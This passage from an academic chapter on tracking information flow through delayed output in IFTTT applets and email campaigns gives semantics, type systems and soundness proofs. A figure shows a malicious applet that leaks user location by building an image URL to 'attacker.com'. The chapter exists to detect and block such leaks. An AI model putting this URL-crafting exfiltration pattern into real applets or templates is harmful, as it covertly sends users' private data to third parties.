value to be sent on a sink.

A con�guration 〈c,m〉 consists of a command c and a memorymmapping
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Syntax:

e ::= s | x | e+ e | source | f (e) | dout(e)
c ::= x = e | c;c | if (e) {c} else {c} | while (e) {c} | sink(e)

Semantics:

assign

〈x = e,m〉 ⇓x=e m[x 7→m(e)]

seq
〈c1,m〉 ⇓d1 m

′ 〈c2,m′〉 ⇓d2 m
′′

〈c1;c2,m〉 ⇓d1;d2 m
′′

if
m(e) , ''⇒ i = 1 m(e) = ''⇒ i = 2 〈ci ,m〉 ⇓d m′

〈if (e) {c1} else {c2},m〉 ⇓d m′

while-true
m(e) , '' 〈c,m〉 ⇓d m′′ 〈while (e) {c},m′′〉 ⇓d′ m′

〈while (e) {c},m〉 ⇓d;d′ m′

while-false
m(e) = ''

〈while (e) {c},m〉 ⇓ m

sink

〈sink(e),m〉 ⇓sink(e) m[o 7→m(e)]

Figure 3.20: Language syntax and semantics

variables x and sink variable o to strings s. The semantics are de�ned by the
judgment 〈c,m〉 ⇓d m′ , which reads as: the successful execution of command
c in memory m returns a �nal memory m′ and a command d representing
the (order-preserving) sequential composition of all the assignment and sink
statements in c. The quotation marks '' in rules if and while denote the
empty string. Command d will be used in the de�nition of projected weak
secrecy further on. Whenever d is not relevant for the context, we simply
omit it from the evaluation relation and write instead 〈c,m〉 ⇓ m′ .

Fig. 3.21a displays the leaky applet in Fig. 3.18 adapted to our language.
The delayed output dout is represented by the construct img for creating
HTML image markup with a given URL. The sources and sinks are instanti-
ated with IFTTT-speci�c APIs: LocationMapURL and EnteredOrExited

for reading user-location information as sources, and setBody for email
composition as sink. encodeURIComponent denotes a function for encoding
strings into URLs.

Note Consistently with the behavior of �lters on IFTTT, commands in our
language are batch programs, generating no intermediate outputs. Accord-
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1 loc = encodeURIComponent(LocationMapUrl);
2 benign = img(LocationMapUrl);
3 leak = img("attacker.com?" + loc);
4 setBody('I ' + EnteredOrExited + ' an area ' + benign + leak);

(a) Malicious IFTTT applet

1 loc = encodeURIComponent(LocationMapUrl);
2 benign = img(LocationMapUrl);
3 logo = img("logo.com/350x150");
4 setBody('I ' + EnteredOrExited + ' an area ' + benign + logo);

(b) Benign IFTTT applet

Figure 3.21: IFTTT applet examples. Di�erences between applets are un-
derlined.

ingly, variable o is overwritten with every sink invocation. For simplicity, we
model the batch of multiple outputs corresponding to the applet’s multiple
actions as a single output that corresponds to a tuple of actions.

IFTTT �lter code is run with a short timeout, implying that the band-
width of a possible timing leak is low. Hence, we do not model the timing
behavior in the semantics. Similarly, we ignore leaks that stem from the fact
that an applet has been triggered. In the case of a location noti�cation applet,
we focus on protecting the location, and not the fact that a user entered or
exited an unknown location. The semantic model can be straightforwardly
extended to support the case when the triggering is sensitive by tracking
message presence labels [28].

3.4.2 Preliminaries

As we mentioned already in Sections 3.1 and 3.2, (user private) information
can be ex�ltrated via delayed output, e.g. through URL crafting or upload
links, by inspecting the parameters of requests to the attacker-controlled
servers that serve these URLs. Also, recall that full attacker control is not
always necessary, as it is the case with upload links or self-ex�ltration [6].

Value-sensitive sinks We assume a set V of URL values v, split into the
disjoint union V = B]W of black- and whitelisted values. Given this set,
we de�ne the attacker’s view and security conditions in terms of blacklist B,
and the enforcement mechanisms in terms of whitelistW . We continue with
de�ning the attacker’s view. A key notion for this is the notion of attacker-
visible projection.

100



3.4. Security model

Projection to B Given a list v̄ of URL values, we de�ne URL projection to
B (|B) to obtain the list of blacklisted URLs contained in the list: v̄|B = [v | v ∈
B].

String equivalence We further use this projection to de�ne string equiva-
lence with respect to a blacklist B of URLs. We say two strings s1 and s2
are equivalent and we write s1 ∼B s2 if they agree on the lists of black-
listed values they contain. More formally, s1 ∼B s2 i� extractURLs(s1)|B =
extractURLs(s2)|B, where extractURLs(·) extracts all the URLs in a string
and adds them to a list, order-preserving. We assume the extraction is done
similarly to the URL extraction performed by a browser or email client. The
function extends to unde�ned strings as well (⊥), for which it returns ∅. Note
that projecting to B returns a list and the equivalence relation on strings re-
quires the lists of blacklisted URLs extracted from them to be equal, pairwise.
We override the projection operator |B and for a string s we will often write
s|B to express extractURLs(s)|B.

Security labels We assume a mapping Γ from variables to pairs of security
labels `r : `w, with `r , `w ∈ L, where (L,v) is a lattice of security labels. `r
represents the label for tracking the read e�ects, while `w tracks whether
a variable has been a�ected with a blacklisted URL. For simplicity, we fur-
ther consider a two-point lattice L = ({L,H},v), with L v H and H @ L, and
associate the attacker with security label L.

It is possible to extend L to arbitrary security lattices, e.g. induced by
Internet domains. The write level of the attacker’s observations would be the
meet of all levels, while the read level of user’s sensitive data would be the
join of all levels. A separate whitelist would be assumed for any other level,
as well as a set of possible sources. This scenario requires multiple triggers
and actions. IFTTT currently allows applets with multiple actions although
not multiple triggers. We have not observed a need for an extended lattice
in the scenarios of typical applets, which justi�es the focus on a two-point
lattice.

For a variable x, we de�ne Γ projections to read and write labels, Γr(x)
and Γw(x) respectively, for extracting the label for the read and write e�ects,
respectively. Thus Γ (x) = `r : `w⇒ Γr(x) = `r ∧ Γw(x) = `w.

Memory equivalence For typing context Γ and set of blacklisted URLs B,
we de�ne memory equivalence with respect to Γ and B and we write ∼Γ ,B if
two memories are equal on all low read variables in Γ and they agree on the
blacklisted values they contain for all high read variables in Γ . More formally,
m1 ∼Γ ,B m2 i� ∀x. Γr(x) = L⇒ m1(x) = m2(x)∧∀x. Γr(x) = H⇒ m1(x) ∼B
m2(x). We write ∼Γ when B is obvious from the context.
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3.4.3 Projected noninterference

Intuitively, a command satis�es projected noninterference if and only if for
any two runs that start in memories that agree on the low part and produce
two respective �nal memories, these �nal memories are equivalent for the
attacker on the sink (denoted by o). The de�nition is parameterized on a
set B of blacklisted URLs. Because it is formulated in terms of end-to-end
observations on sources and sinks, the characterization is robust in changes
to the actual underlying language.

De�nition 2 (Projected noninterference). Command c satis�es projected non-
interference for a blacklistB of URLs, writtenPNI(c,B), i�∀m1,m2, Γ . m1 ∼Γ ,B
m2 ∧ 〈c,m1〉 ⇓ m′1 ∧ 〈c,m2〉 ⇓ m′2 ⇒ m′1(o) ∼B m

′
2(o).

Unsurprisingly, the applet in Fig. 3.21a does not satisfy projected nonin-
terference. First, the attacker-controlled website attacker.com is blacklisted.
Second, when triggering the �lter from two di�erent locations loc1 and loc

2, the value on the sink provided to the attacker will be di�erent as well
(attacker.com?loc1 vs. attacker.com?loc2), breaking the equivalence relation
between the values sent on sinks. In contrast, the applet in Fig. 3.21b does
satisfy projected noninterference, although it contains a blacklisted value on
the sink. In addition to sending a map with the location, this applet is also
sending the user a logo, but it does not attempt to leak sensitive informa-
tion to third (blacklisted) parties. The logo URL logo.com/350x150 will be the
blacklisted value on the sink irrespective of the user location.

3.4.4 Projected weak secrecy

So far, we have focused on potentially malicious code, exempli�ed by the
IFTTT platform, where any user can publish IFTTT applets. However, in
certain cases the code is written by the service provider itself, one example
being email campaigners such as MailChimp. In these cases, the code is not
malicious, but potentially buggy. When considering benign-but-buggy code,
it is less likely that leaks are performed via elaborate control �ows [27]. This
motivates tracking only the explicit �ows via taint tracking [32].

Thus, we draw on weak secrecy [37] to formalize the security condition
for capturing information �ows when assuming non-malicious code, as weak
secrecy provides a way to ignore control-�ow constructs. Intuitively, a pro-
gram satis�es weak secrecy if extracting a sequence of assignments from any
execution produces a program that satis�es noninterference. We carry over
the idea of weak secrecy to projected weak secrecy, also parameterized on a
blacklist of URLs.
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De�nition 3 (Projected weak secrecy). Command c satis�es projected weak
secrecy for a blacklist B of URLs, written PWS(c,B), i� ∀m. 〈c,m〉 ⇓d m′
⇒ PNI(d,B).

As the extracted branch-free programs are the same as the original pro-
grams, their projected security coincides, so that the applet in Fig. 3.21a is
considered insecure and the one in Fig. 3.21b is considered secure.

3.5 Security enforcement

As foreshadowed earlier, information ex�ltration via delayed output may
take place either in a potentially malicious setting, or inside non-malicious
but buggy code. Recall the blacklist B for modeling the attacker’s view. For
specifying security policies, it is more suitable to reason in terms of whitelist
W , the set complement of B. To achieve projected security, we opt for �ow-
sensitive static enforcement mechanisms for information �ow, parameter-
ized on W . We assume W to be generated by IoT app and email template
platforms, based on the services used or on recommendations from the (app
or email template) developers. We envision platforms where the apps and
email templates, respectively, can be statically analyzed after being created
and before being published on the app store, or before being sent in a cam-
paign, respectively. Some sanity checks are already performed by IFTTT
before an applet can be saved and by MailChimp before a campaign is sent.
An additional check based on enforcement that extends ours has potential to
boost the security of both platforms.

Language Throughout our examples, we use the img constructor as an in-
stantiation of delayed output. img(·) forms HTML image markups with a
given URL. Additionally, we assume that calling sink(·) performs safe output
encoding such that the only way to include image tags in the email body, for
example, is through the use of the img(·) constructor. For the safe encod-
ing not to be bypassed in practice, we assume a mechanism similar to CSRF
tokens, where img(·) includes a random nonce (from a set of nonces we pa-
rameterize over) into the HTML tag, so that the output encoding mechanism
sanitizes away all image markups that do not have the desired nonce. As
seen in Section 3.2, allowing construction of structured output using string
concatenation is dangerous. It is problematic in general because it may cause
injection vulnerabilities. For this reason and because it enables natural in-
formation �ow tracking, we make use of the explicit API img(·) in our en-
forcement.
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Expression typing:

Γ ` s : L : H Γ ` x : Γ (x) Γ ` source : H : H Γ ` dout(source) : H : H

s ∈W
Γ ` dout(s) : L : H

Γ ` e : L : L
Γ ` img(e) : L : L

Γ ` ei : `r : `w i = 1,2

Γ ` e1 + e2 : `r : `w

Γ ` e : `r : `w
Γ ` f (e) : `r : `w

Γ ` e : `′r : `′w `′r v `r `w v `′w
Γ ` e : `r : `w

Command typing:
ifc-assign
Γ ` e : `r : `w pc v `w u Γw(x)
pc ` Γ {x = e}Γ [x 7→ (pct `r ) : `w]

ifc-seq
pc ` Γ {c}Γ ′′ pc ` Γ ′′{c′}Γ ′

pc ` Γ {c;c′}Γ ′

ifc-if
Γ ` e : `r : `w pct `r ` Γ {ci}Γi i = 1,2

pc ` Γ {if (e) {c1} else {c2}}Γ1 t Γ2

ifc-while
Γ ` e : `r : `w pct `r ` Γ {c}Γ

pc ` Γ {while (e) {c}}Γ

ifc-sink
Γ ` e : `r : `w pc v `w u Γw(o)
pc ` Γ {sink(e)}Γ [o 7→ `r : `w]

ifc-sub
pc′ ` Γ ′1{c}Γ

′
2 pc v pc′ Γ1 v Γ ′1 Γ ′2 v Γ2

pc ` Γ1{c}Γ2

Γ v Γ ′ , ∀x ∈ Γ . Γr(x) v Γ ′r (x)∧ Γ ′w(x) v Γw(x)

Figure 3.22: Type system for information �ow control

3.5.1 Information flow control

For malicious code, we perform a fully-�edged information �ow static en-
forcement via a security type system (Fig. 3.22), where we track both the
control and data dependencies.

Expression typing An expression e types to two security levels `r and `w,
with `r denoting reading access, and with `w denoting the writing e�ects of
the expression. A low (L) writing e�ect means that the expression may have
been a�ected by a blacklisted URL. Hence, the adversary may infer some
observations if a value of this type is sent on a sink. A high (H) writing e�ect
means that the adversary may not make any observations.
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We assign constant strings a low read and high write e�ect. This is jus-
ti�ed by our assumption that sink(·) will perform safe output encoding, and
hence constant strings and their concatenations cannot lead to the inclusion
of image tags in the email body. We assume the information from sources
to be sanitized, i.e. it cannot contain any blacklisted URLs, and we type calls
to source with a high read and a high write e�ect. Creating an image from
a whitelisted source is assigned a high write e�ect. Creating an image from
any other source is allowed only if the parameter expression is typed with a
low read type, in which case the image is assigned a low write e�ect.

Command typing The type system uses a security context pc for tracking
the control �ow dependencies of the program counter. The typing judgment
pc ` Γ {c}Γ ′ means that command c is well-typed under typing environment
Γ and program counter pc and, assuming that Γ contains the security levels
of variables and sink o before the execution of c, then Γ ′ contains the secu-
rity levels of the variables and sink o after the execution of c. In the initial
typing environment, sources are labeled H : H, and o and all other variables
are labeled L : H.

The most interesting rules for command typing are the ones for assign-
ment and sink declaration. We describe them below.

Rule ifc-assign We do not allow rede�ning low-writing variables in high
contexts (pc v Γw(x)), nor can a variable be assigned a low-writing value in
a high context (pc v `w).

The snippet in Ex. 3.1 initially creates a variable with an image having a
blacklisted URL b1 < W , and later, based on a high-reading guard (denoted
by H), it may update this variable with an image from another blacklisted
URL b2 <W . Depending on the value sent on the sink, the attacker can infer
additional information about the secret guard. The code is rightfully rejected
by the type system.

Example 3.1.
logo = img(b1);
if (H) { logo = img(b2); }
sink(source + logo);

Recall the non-duality of read and write types we mentioned in Sec-
tion 3.3 and notice from the example above that the type system is �ow-
sensitive with respect only to the read e�ects, but not to the write e�ects.
Non-duality can also be seen in the treatment of the pc, which has a pure
read label.

The snippet in Ex. 3.2 �rst creates an image from a source, thus variable
msg is assigned type H : H. Then, it branches on a high-reading guard and
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depending on the guard’s value, it may update the value inside msg. img(w)
retrieves an image from a whitelisted sourcew ∈W , hence it is assigned low-
reading and high-writing security labels. After executing the conditional,
variable msg is assigned high-reading and writing labels, as the program con-
text in which it executed was high. Last, the code is secure and accepted by
the type system, as the attacker cannot infer any observations since all the
URLs on the sink are whitelisted.

Example 3.2.
msg = img(source1);
if (H) { msg = img(w); }
sink(source2 + msg);

Rule ifc-sink Similarly to the assignment rule, sink declarations are al-
lowed in high contexts only if the current value of sink variable o is not low-
writing (pc v Γw(o)). Moreover, sink variables cannot become low-writing in
a high context (pc v `w).

While the code in Fig. 3.21b is secure, extending it with another line, a
conditional which, depending on a high-reading guard, may update the value
on the sink, the code becomes insecure.

Example 3.3.
sink(source1 + logo);
if (H) { sink(source2); }

The attacker’s observation of whether a certain logo has been sent or
not now depends on the value of the high-reading guard H. This snippet is
rightfully rejected by the type system.

If, prior to the update in the high context, the sink variable contained a
high-writing value instead, as in Ex. 3.4, the code would be secure, as the at-
tacker would not be able to make any observations. The snippet is rightfully
accepted by the type system.

Example 3.4.
sink(source1);
if (H) { sink(source2); }

For type checking the examples in Fig. 3.21, we instantiate function f
with encodeURIComponent for encoding strings into URLs, and use as
sources APIs for reading user-location information, LocationMapUrl and
EnteredOrExited, and as sink the API setBody for email composition. As
expected, the �lter in Fig. 3.21b is accepted by the type system, while the one
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in Fig. 3.21a is rejected due to the unsound string concatenation in line 3.
Since the string contains a high-reading source loc, it will be typed to a high
read, but creating an image from a blacklisted URL requires the underlined
expression to be typed to a low read.

Soundness We show that our type system gives no false negatives by prov-
ing that it enforces projected noninterference.

Theorem 3.1 (Soundness). If pc ` Γ {c[W ]}Γ ′ then PNI(c,W ).

3.5.2 Discussion

It is worth discussing our design choice of assigning an expression two se-
curity labels `r and `w for the read access and write e�ects, respectively, and
why the classical label tracking of only read access does not su�ce.

Assume a type system derived from the one for information �ow control
modulo `w, i.e. a classical type system with the general rule for typing an
expression Γ ` e : `, with ` corresponding to our security label `r , and where
command typing ignores all preconditions that include `w.

While the snippet in Fig. 3.21a would still be rightfully rejected, as line 3
would again be deemed unsound, and the snippet in Fig. 3.21b would still be
rightfully accepted, the insecure code in Ex. 3.1 would be instead accepted
by the new type system: after the execution of the conditional, logo is as-
signed type H. Similarly, the leaky code in Ex. 3.3 would also be accepted,
allowing the attacker to infer additional information about the high guard:
the value on the initial sink is typed H, hence the update on the sink inside
the conditional would be allowed by the type system.

Adding the pc in expression typing and rejecting applets with sinks in
high contexts may seem like a valid solution to this problem. However, the
requirement would additionally reject the secure snippet in Ex. 3.4 and would
still accept the insecure snippet in Ex. 3.1. Requiring image markup of non-
whitelisted URLs to be formed only in low contexts (L,Γ ` img(e) : L) would
solve the issue with the former example, but not with the latter.

3.5.3 Taint tracking

Recall that exploits of the control �ow are less probable in non-malicious
code [27]. Thus, we focus on tracking only the explicit �ows as to obtain a
lightweight mechanism with low false positives.

Type system We derive the type system for taint tracking from the earlier
one modulo pc and security label for write e�ects `w. Thus, an expression e
has type judgment Γ ` e : `, where ` is a read label (corresponding to label `r
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from the earlier type system). The typing judgment ` Γ {c}Γ ′ means that c is
well-typed in Γ and, assuming Γ maps variables and sink o to security labels
before the execution of c, Γ ′ will contain the security labels of the variables
and sink o after the execution of c.

Similarly to the information �ow type system, the taint tracking mech-
anism rightfully rejects the leaky applet in Fig. 3.21a and rightfully accepts
the benign one in Fig. 3.21b.

The secure snippet in Ex. 3.5 is rejected by the type system for informa-
tion �ow control, being thus a false positive for that system. However, it is
accepted by the type system for taint tracking, illustrating its permissiveness.

Example 3.5.
sink(source1 + logo);
if (H) { sink(source2 + logo); }

Similarly, a secure snippet changing the value on the sink after a prior
change in a high context is rejected by the information �ow type system, but
rightfully accepted by taint tracking, as in Ex. 3.6.

Example 3.6.
sink(source1 + logo1);
if (H) { sink(source2); }
sink(source3 + logo2);

Soundness We achieve soundness by proving the type system for taint track-
ing enforces the security policy of projected weak secrecy.

Theorem 3.2 (Soundness). If ` Γ {c[W ]}Γ ′ then PWS(c,W ).

3.6 Related work

Projected security The literature has seen generalizations of noninterfer-
ence to selective views on inputs/outputs, ranging from Cohen’s work on se-
lective dependency [8] to PER-based model of information �ow [29] and to
Giacobazzi and Mastroeni’s abstract noninterference [13]. Bielova et al. [3]
use partial views for inputs in a reactive setting. Greiner and Grahl [15]
express indistinguishability by attacker for component-based systems via
equivalence relations. Murray et al. [24] de�ne value-sensitive noninterfer-
ence for compositional reasoning in concurrent programs. Value-sensitive
noninterference emphasizes value-sensitive sources, as in the case of treating
the security level of an input bu�er or �le depending on its runtime security
label, enabling declassi�cation policies to be value-dependent.
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Projected noninterference leverages the above line of work on partial
indistinguishability to express value-sensitive sinks in a web setting. Further,
drawing on weak secrecy [31, 37], projected weak secrecy carries the idea of
observational security over to reasoning about taint tracking.

Sen et al. [33] describe a system for privacy policy compliance checking
in Bing. The system’s GROK component can be leveraged to control how
sensitive data is used in URLs. GROK is focused on languages with support
for MapReduce, with no global state and limited control �ows. Investigating
connections of our framework and GROK is an interesting avenue for future
work.

IFTTT Securing IFTTT applets encompasses several facets, of which we fo-
cus on one, the information �ows emitted by applets. Previous work of Sur-
batovich et al. [36] covers another facet, the access to sources (triggers) and
sinks. In their study of 19,323 IFTTT recipes (predecessor of applets before
November 2016), they de�ne a four-point security lattice (with the elements
private, restricted physical, restricted online, and public) and provide a cat-
egorization of potential secrecy and integrity violations with respect to this
lattice. However, �ows from ex�ltrating information via URLs are not con-
sidered. Fernandes et al. [11] look into another facet of IFTTT security, the
OAuth-based authorization model used by IFTTT. In recent work, they ar-
gue that this model gives away overprivileged tokens, and suggest instead
�ne-grained OAuth tokens that limit privileges and thus prevent unautho-
rized actions. While limiting privileges is important for IFTTT’s access con-
trol model, it does not prevent information �ow attacks. This can be seen
in our example scenario where access to location and email capabilities is
needed for legitimate functionality of the applet. While not directly focused
on IFTTT, FlowFence [10] describes another approach for tracking informa-
tion �ow in IoT app frameworks.

Bastys et al. [1] report three classes of URL-based attacks, based on URL
markup, URL upload, and URL shortening in IoT apps, present an empiri-
cal study to classify sensitive sources and sinks in IFTTT, and propose both
access-control and dynamic information-�ow countermeasures. The URL
markup attacks motivate the need to track information �ow in the presence
of delayed output in malicious apps. While Bastys et al. [1] propose dynamic
enforcement based on the JSFlow [18] tool, this work focuses on static infor-
mation �ow analysis. Static analysis is particularly appealing when provid-
ing automatic means to vet the security of third-party apps before they are
published on app stores.
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Email privacy Efail by Poddebniak et al. [26] is related to our attacks. They
show how to break S/MIME and OpenPGP email encryption by maliciously
crafting HTML markup in an email to trick email clients into decrypting and
ex�ltrating the content of previously collected encrypted emails. While in
our setting the ex�ltration of sensitive data by malicious/buggy code is only
blocked by clients that refuse to render markup (and not blocked at all in
the case of upload attacks), efail critically relies on speci�c vulnerabilities in
email clients to be able to trigger malicious decryption.

3.7 Conclusion

Motivated by privacy leaks in IoT apps and email marketing platforms, we
have developed a framework to express and enforce security in programs
with delayed output. We have de�ned the security characterizations of pro-
jected noninterference and projected weak secrecy to express security in ma-
licious and non-malicious settings and developed type-based mechanisms to
enforce these characterizations for a simple core language. Our framework
provides ground for leveraging JavaScript-based information �ow [2, 16, 17]
and taint [35] trackers for practical enforcement of security in IoT apps and
email campaigners.
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Appendix

3.A Information flow control

Lemma 3.3 (Con�nement). If H ` Γ {c}Γ ′ then ∀m, m′ , x. 〈c,m〉 ⇓ m′ ∧
Γ ′r (x) = L⇒m′(x) =m(x).

Proof Γ ′r (x) = L means that c contains no assignments to x. If c updated x,
then the read label of x in the resulting environment would be H, according
to rule ifc-assign. �

Lemma 3.4 (Expression invariant). If Γ ` e : H : `w then ∀m1,m2. m1 ∼Γ
m2⇒m1(e) ∼B m2(e).

Proof The proof is by case analysis on the structure of e. �

Lemma 3.5 (Helper). If pc ` Γ {c}Γ ′ then ∀m1,m2. m1 ∼Γ m2 ∧ 〈c,m1〉 ⇓
m′1 ∧ 〈c,m2〉 ⇓ m′2⇒m′1 ∼Γ ′ m

′
2.

Proof The proof is by case analysis on the typing rule and by induction on
the derivation of the evaluation relation. We only discuss the more interest-
ing cases.
Case ifc-if. We distinguish two cases according to the read label of the guard:

1. Γ ` e : L : `w
Thenm1(e) =m2(e) and same branch is taken in both executions. Without
loss of generality, assume branch c1 is taken. From i.h. applied to pc `
Γ {c1}Γ ′ and 〈c1,mi〉 ⇓ m′i , i = 1,2, we get m′1 ∼Γ ′ m

′
2. However, we need

to prove m′1 ∼Γ ′tΓ ′′ m
′
2.

If Γ ′ = Γ ′′ , then nothing to show. Otherwise, assume ∃x. Γ ′r (x) = L and
Γ ′′r (x) = H. Γ ′r (x) = L impliesm′1(x) =m

′
2(x), hence extractURLs(m′1(x)) =

extractURLs(m′2(x)) and m′1(x) ∼B m
′
2(x). Suppose ∃x. Γ ′r (x) = H and

Γ ′′r (x) = L. Since m′1 ∼Γ ′ m
′
2 and (Γ ′ t Γ ′′)(x) = H, we obtain m′1(x) ∼B

m′2(x).
Extending these results to all x such that Γ ′r (x) = H and Γ ′′r (x) = L or Γ ′r (x) =
L and Γ ′′r (x) = H, we obtain m′1 ∼Γ ′tΓ ′′ m

′
2.
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2. Γ ` e : H : `w
We show the harder case, when the two executions follow di�erent branches
of the conditional. Suppose m1(e) , '' and 〈c1,m1〉 ⇓ m′1, and m2(e) = ''
and 〈c2,m2〉 ⇓ m′2. We need to prove m′1 ∼Γ ′tΓ ′ m

′
2.

From Lemma 3.3 it follows that ∀x. Γ ′r (x) = L ⇒ m′1(x) = m1(x), and
∀x. Γ ′′r (x) = L⇒m′2(x) =m2(x).

Let S1 be the set of variables rede�ned in c1 but not in c2, S2 the set of
variables rede�ned in c2 but not in c1, S the set of variables rede�ned both
in c1 and c2, and S ′ the set of variables not rede�ned. For any variable x,
we distinguish the following cases:

(a) x ∈ S ′ (i.e. Γ ′r (x) = Γ ′′r (x))

Then mi(x) =m′i(x), for i = 1,2. m1 ∼Γ m2 implies m1(x)|B =m2(x)|B.
Thus m′1(x)|B =m

′
2(x)|B and m′1(x) ∼(Γ ′tΓ ′′)(x) m

′
2(x).

(b) x ∈ S (i.e. Γ ′r (x) = Γ ′′r (x) = H)

Then m′i(x)|B = ∅ and m′1(x) ∼B m
′
2(x). Thus m′1(x) ∼(Γ ′tΓ ′′)(x) m

′
2(x).

(c) x ∈ S1 (i.e. Γ ′r (x) = H)

pc = H implies Γw(x) = H (rule ifc-assign). In addition, m1(x)|B = ∅ =
m′1(x)|B (as no assignments to low-writing variables are allowed in high
contexts).

Γw(x) = H also implies m2(x)|B = ∅. Since m′2(x) = m2(x) (x ∈ S1), it
follows that m′1(x) ∼B m

′
2(x). Hence m′1(x) ∼(Γ ′tΓ ′′)(x) m

′
2(x).

(d) x ∈ S2 (i.e. Γ ′′r (x) = H)

We apply the same reasoning as for x ∈ S1.

We extend the reasoning above to all variables x ∈ Γ ′ t Γ ′′ and we obtain
m′1 ∼Γ ′tΓ ′′ m

′
2.

Case ifc-while. There are two cases according to the read label of the guard.
We just show the harder case when the reading label is H (Γ ` e : H : `w) and
the two runs follow di�erent evaluation rules.

Suppose the �rst execution evaluates according to rulewhile-true, while
the second according to rule while-false. From the latter, we obtain m′2 =
m2 and m2(x)|B = ∅. Hence we have to prove that m′1 ∼Γ m2.

Let S be the set of variables rede�ned in c. For any variable x we distin-
guish two cases:
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1. x ∈ S
pc = H implies Γw(x) = H. Hence x contains no blacklisted URLs, meaning
that m′1(x)|B =m1(x)|B = ∅. Hence m′1(x) ∼Γ (x) m2(x).

2. x < S
Then m1(x) =m′1(x). As m1(x) ∼Γ (x) m2(x), it follows by transitivity that
m′1(x) ∼Γ (x) m2(x).

We extend the reasoning above to all x ∈ Γ and we obtain m′1 ∼Γ m2.
Case ifc-sink. From rule sink, 〈sink(e),mi〉 ⇓ mi[o 7→ mi(e)], for i = 1,2.
Thus ∀x ∈ Γ . mi(x) = mi[o 7→ mi(e)](x) and m1[o 7→ m1(e)] ∼Γ m2[o 7→
m2(e)]. �

Theorem 3.6 (Soundness). If pc ` Γ {c[W ]}Γ ′ then PNI(c,W ).

Proof Let m1 and m2 be two stores such that m1 ∼Γ ,W m2. In addition
m1(o) ∼B m2(o). The proof reduces to showing that if 〈c,mi〉 ⇓ m′i , i = 1,2,
then m′i(o) ∼B m

′
2(o).

The proof is by structural induction on the type derivation and by case
analysis. We only give two illustrative examples.
Case ifc-if. We distinguish two cases:

1. Γ ` e : L : `w
Then m1(e) =m2(e). Hence the same branch will be taken in both execu-
tions. Without loss of generality, assume branch c1 is taken. From i.h. we
get m′1(o) ∼B m

′
2(o).

2. Γ ` e : H : `w
We just show the harder case when the runs follow di�erent evaluation
rules: suppose m1(e) , '' and m2(e) = ''. In addition, suppose the value on
the sink is updated in c1, but it may not be updated in c2.
pc = H means that the sink updates will not contain blacklisted values
(pc v `w, rule ifc-sink). Additionally, since the sink is updated in c1,
Γw(o) = H (pc v H, rule ifc-sink). Hence m′1(o)|B = ∅. Similarly, an up-
dated sink in c2 implies m′2(o)|B = ∅ and no sink updates in c2 implies
m′2(o) =m2(o) and Γw(o) = H. Hence m′2(o)|B = ∅ and m′1(o) ∼B m

′
2(o).

Case ifc-sink. We distinguish two cases:
1. Γ ` e : L : `w
Thenm1(e) =m2(e). Hence extractURLs(m1(e)) = extractURLs(m2(e)),
hence their projections to B will also be equal.

117



3. Tracking Information Flow via Delayed Output

2. Γ ` e : H : `w
From Lemma 3.4, m1(e) ∼B m2(e). Hence m1[o 7→ m1(e)](o) ∼B m2[o 7→
m2(e)](o). �

3.B Taint-tracking

Lemma 3.7 (Expression invariant). If Γ ` e : H then ∀m1, m2. m1 ∼Γ m2⇒
m1(e) ∼B m2(e).

Proof The proof is by case analysis on the structure of e and follows the
same pattern as the proof of Lemma 3.4. �

Lemma 3.8 (Helper). If ` Γ {c}Γ ′ and 〈c,m〉 ⇓d m′ then ∀m1,m2. m1 ∼Γ m2∧
〈d,m1〉 ⇓ m′1 ∧ 〈d,m2〉 ⇓ m′2⇒m′1 ∼Γ ′ m

′
2.

Proof By case analysis on the typing derivation. �

Theorem 3.9 (Soundness). If ` Γ {c[W ]}Γ ′ then PWS(c,W ).

Proof Let m be a store and let d be the assignment and sink trace produced
by evaluating c in store m, i.e. 〈c,m〉 ⇓d m′ . Let m1 and m2 be two stores
such that m1 ∼Γ ,W m2 and m1(o) ∼B m2(o). The proof reduces to showing
that if 〈d,mi〉 ⇓ m′i , i = 1,2 then m′1(o) ∼B m

′
2(o).

The proof is by structural induction on the evaluation relation and by
case analysis. We present the most important cases.
Case tt-if. Without loss of generality assume m(e) , ''. We are left to prove
PNI(d1,W ). From i.h. applied to ` Γ {c1}Γ ′′ , 〈c1,m〉 ⇓d1 m

′ , m1 ∼Γ m2, and
〈d1,mi〉 ⇓ m′i , for i = 1,2, we obtain m′1(o) ∼B m

′
2(o).

Case tt-while. We just show the harder case when m(e) , ''. From i.h. ap-
plied to ` Γ {c}Γ , 〈c,m〉 ⇓d′ m′ , m1 ∼Γ m2, and 〈c,mi〉 ⇓ m′i , i = 1,2, we
obtain m′1(o) ∼B m

′
2(o). From Lemma 3.8, m′1 ∼Γ m

′
2. From i.h. applied to

` Γ {while (e) {c}}Γ , 〈while (e) {c},m′〉 ⇓d′′ m′′ , m′1 ∼Γ m
′
2, and 〈d′′ ,m′i〉 ⇓

m′′i , for i = 1,2 we obtain m′′1 (o) ∼B m
′′
2 (o).

Case tt-sink. 〈sink(e),mi〉 ⇓ m′i = mi[o 7→ mi(e)]. There are two cases ac-
cording to the label of the expression e:

1. Γ ` e : L
Thenm1(e) =m2(e). Hence extractURLs(m1(e)) = extractURLs(m2(e)),
hence their projections to B will also be equal. Thus m′1(o) ∼L m

′
2(o).

2. Γ ` e : H
From expression invariant, we obtain m1(e) ∼B m2(e). Thus m′1(o) ∼B
m′2(o). �
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